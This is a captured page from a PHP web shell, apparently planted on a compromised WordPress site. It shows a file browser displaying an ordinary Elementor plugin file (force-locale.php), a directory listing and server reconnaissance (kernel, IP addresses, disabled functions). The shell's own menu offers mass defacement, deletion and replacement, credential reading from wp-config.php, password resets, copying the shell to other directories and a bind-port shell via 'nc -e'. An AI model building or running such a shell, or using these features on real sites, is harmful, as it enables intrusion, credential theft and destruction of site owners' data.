WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / elementor / core / utils / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/core/utils/force-locale.php (3.55 KB)
<?php
namespace Elementor\Core\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Force translation to use a specific locale.
 *
 * A hacky class to force any translation functions in the call-stack between the
 * `force()` & `reset()` methods to use a specific locale.
 */
class Force_Locale {

	/**
	 * @var string Locale to force (e.g. `he_IL`).
	 */
	private $new_locale;

	/**
	 * @var string Original locale before forcing.
	 */
	private $original_locale;

	/**
	 * @var \WP_Textdomain_Registry
	 */
	private $original_textdomain_registry;

	/**
	 * @var \Closure Filter reference `pre_determine_locale`.
	 */
	private $filter;

	public function __construct( $new_locale, $original_locale = null ) {
		$this->new_locale = $new_locale;

		$this->original_locale = $original_locale ? $original_locale : determine_locale();

		$this->filter = function() use ( $new_locale ) {
			return $new_locale;
		};
	}

	/**
	 * Force the translations to use a specific locale.
	 *
	 * @return void
	 */
	public function force() {
		switch_to_locale( $this->new_locale );

		/**
		 * Reset the \WP_Textdomain_Registry instance to clear its cache.
		 *
		 * @see https://github.com/WordPress/wordpress-develop/blob/799d7dc86f5b07b17f7a418948fc851bd2fc334b/src/wp-includes/class-wp-textdomain-registry.php#L179-L187
		 * @see https://github.com/WordPress/wordpress-develop/blob/799d7dc86f5b07b17f7a418948fc851bd2fc334b/tests/phpunit/tests/l10n/wpLocaleSwitcher.php#L19-L31
		 */
		$this->reset_textdomain_registry();

		/**
		 * Reset l10n in order to clear the translations cache.
		 *
		 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1324
		 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1222
		 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L821
		 */
		$this->reset_l10n();

		/**
		 * Force the translations of `$new_locale` to be loaded.
		 *
		 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1294
		 */
		add_filter( 'pre_determine_locale', $this->filter );
	}

	/**
	 * Restore the original locale and cleanup filters, etc.
	 *
	 * @return void
	 */
	public function restore() {
		$this->restore_textdomain_registry();

		$this->reset_l10n();

		switch_to_locale( $this->original_locale );

		remove_filter( 'pre_determine_locale', $this->filter );
	}

	private function reset_textdomain_registry() {
		if ( ! class_exists( '\WP_Textdomain_Registry' ) ) {
			return;
		}

		/** @var \WP_Textdomain_Registry $wp_textdomain_registry */
		global $wp_textdomain_registry;

		$this->original_textdomain_registry = $wp_textdomain_registry;

		$wp_textdomain_registry = new \WP_Textdomain_Registry();
	}

	private function restore_textdomain_registry() {
		if ( ! $this->original_textdomain_registry ) {
			return;
		}

		/** @var \WP_Textdomain_Registry $wp_textdomain_registry */
		global $wp_textdomain_registry;

		$wp_textdomain_registry = $this->original_textdomain_registry;
	}

	/**
	 * Reset the l10n global variables.
	 *
	 * @return void
	 */
	private function reset_l10n() {
		global $l10n, $l10n_unloaded;

		if ( is_array( $l10n ) ) {
			foreach ( $l10n as $domain => $l10n_data ) {
				unset( $l10n[ $domain ] );
			}
		}

		if ( is_array( $l10n_unloaded ) ) {
			foreach ( $l10n_unloaded as $domain => $l10n_unloaded_data ) {
				unset( $l10n_unloaded[ $domain ] );
			}
		}
	}
}
namawaktuukuranownerpermaksi
..
api/ 2026-11-25 08:103.25 KB 76129f60960:kundendxwrx-rx-r
document/ 2026-11-25 08:1016 KB 76129f60960:kundendxwrx-rx-r
import-export/ 2026-11-25 08:10100.8 KB 76129f60960:kundendxwrx-rx-r
promotions/ 2026-11-25 08:102.56 KB 76129f60960:kundendxwrx-rx-r
svg/ 2026-11-25 08:1018.12 KB 76129f60960:kundendxwrx-rx-r
ab-test.php 2026-11-25 08:102.45 KB 76129f60960:kunden-xw-x--x--
edt
assets-config-provider.php 2026-11-25 08:101.49 KB 76129f60960:kunden-xw-x--x--
edt
assets-translation-loader.php 2026-11-25 08:102.51 KB 76129f60960:kunden-xw-x--x--
edt
collection.php 2026-11-25 08:1010.13 KB 76129f60960:kunden-xw-x--x--
edt
exceptions.php 2026-11-25 08:10709 B 76129f60960:kunden-xw-x--x--
edt
force-locale.php 2026-11-25 08:103.55 KB 76129f60960:kunden-xw-x--x--
edt
hints.php 2026-11-25 08:1016.43 KB 76129f60960:kunden-xw-x--x--
edt
http.php 2026-11-25 08:10981 B 76129f60960:kunden-xw-x--x--
edt
plugins-manager.php 2026-11-25 08:102.84 KB 76129f60960:kunden-xw-x--x--
edt
static-collection.php 2026-11-25 08:101.09 KB 76129f60960:kunden-xw-x--x--
edt
str.php 2026-11-25 08:101001 B 76129f60960:kunden-xw-x--x--
edt
template-library-element-iterator.php 2026-11-25 08:10766 B 76129f60960:kunden-xw-x--x--
edt
template-library-import-export-utils.php 2026-11-25 08:107.2 KB 76129f60960:kunden-xw-x--x--
edt
template-library-snapshot-processor.php 2026-11-25 08:106.76 KB 76129f60960:kunden-xw-x--x--
edt
version.php 2026-11-25 08:103.78 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/core/utils
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK